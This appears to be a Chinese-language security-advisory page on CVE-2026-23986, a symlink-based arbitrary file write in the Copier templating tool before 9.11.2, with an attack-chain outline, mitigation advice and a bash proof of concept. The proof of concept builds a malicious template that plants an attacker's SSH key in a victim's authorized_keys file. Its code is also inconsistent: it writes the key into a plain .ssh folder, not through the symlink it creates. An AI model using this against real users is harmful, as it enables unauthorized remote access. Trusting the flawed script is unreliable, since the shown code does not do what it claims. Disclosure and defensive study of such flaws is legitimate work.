IPBUF安全漏洞报告
English
CVE-2026-23986 CVSS 7.1 高危

CVE-2026-23986 Copier库符号链接路径遍历任意文件写入漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23986
漏洞类型
路径遍历/任意文件写入
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
copier

相关标签

路径遍历符号链接任意文件写入copierPython模板注入CVE-2026-23986

漏洞概述

Copier是一个用于渲染项目模板的Python库和命令行工具。该漏洞存在于9.11.2之前的版本中,攻击者可利用符号链接和_preserve_symlinks配置绕过安全限制,向目标路径外的任意目录写入文件。虽然Copier声称从安全模板生成项目时不需要--UNSAFE或--trust标志,但恶意模板作者可以通过创建包含目录符号链接的模板,配合_preserve_symlinks: true配置,使渲染的路径指向符号链接指向的目录,从而实现任意文件写入攻击。这允许攻击者覆盖系统上的任意文件(如SSH密钥、配置文件等),造成严重的安全风险。

技术细节

该漏洞的根本原因在于Copier库对符号链接处理的安全缺陷。当模板设置_preserve_symlinks: true时,系统会保留符号链接的指向关系。攻击者可以构造恶意模板,包含一个指向目标系统任意目录的符号链接(如templates/link -> /home/user/.ssh),然后在模板文件中创建渲染后会写入该符号链接目录的文件。当用户使用copier复制此类模板时,渲染的文件内容会通过符号链接写入到攻击者指定的目标位置。攻击者可以利用此漏洞覆盖用户的SSH authorized_keys文件实现远程访问,或修改配置文件获取持久化权限。由于CVSS向量显示需要用户交互(UI:R),攻击通常需要诱导用户从恶意模板生成项目。

攻击链分析

STEP 1
1
攻击者创建恶意Copier模板,包含指向目标系统任意目录的符号链接
STEP 2
2
在模板配置中设置_preserve_symlinks: true启用符号链接保留
STEP 3
3
在符号链接指向的目录中放置恶意文件(如authorized_keys、配置文件等)
STEP 4
4
攻击者将恶意模板托管或分发给目标用户
STEP 5
5
受害者使用copier命令从该模板生成项目(通常无需--UNSAFE标志)
STEP 6
6
Copier处理模板时,符号链接使文件写入到目标路径外的任意位置
STEP 7
7
攻击者获得持久化访问权限或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-23986 PoC - Malicious Template Creation # This demonstrates the path traversal via symlink vulnerability # Create malicious template structure mkdir -p malicious_template/{{_copier}}/.ssh # Create symlink to arbitrary directory ln -sf /home/victim/.ssh malicious_template/.ssh_link # Create template configuration with _preserve_symlinks cat > malicious_template/copier.yml << 'EOF' _preserve_symlinks: true EOF # Create file that will be written through symlink cat > malicious_template/.ssh/authorized_keys << 'EOF' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker_key EOF # Create template source file cat > malicious_template/README.txt << 'EOF' Welcome to the template EOF # Attacker hosts this template # When victim runs: copier <attacker_template_url> target_dir # Files will be written to /home/victim/.ssh/authorized_keys instead of target_dir

影响范围

copier < 9.11.2

防御指南

临时缓解措施
立即升级copier到9.11.2版本以修复该漏洞。在升级前,避免使用来源不可信的模板生成项目,尤其是那些包含符号链接的模板。如果必须使用未知模板,请在隔离环境(如容器)中操作,并确保运行账户的写入权限受到限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表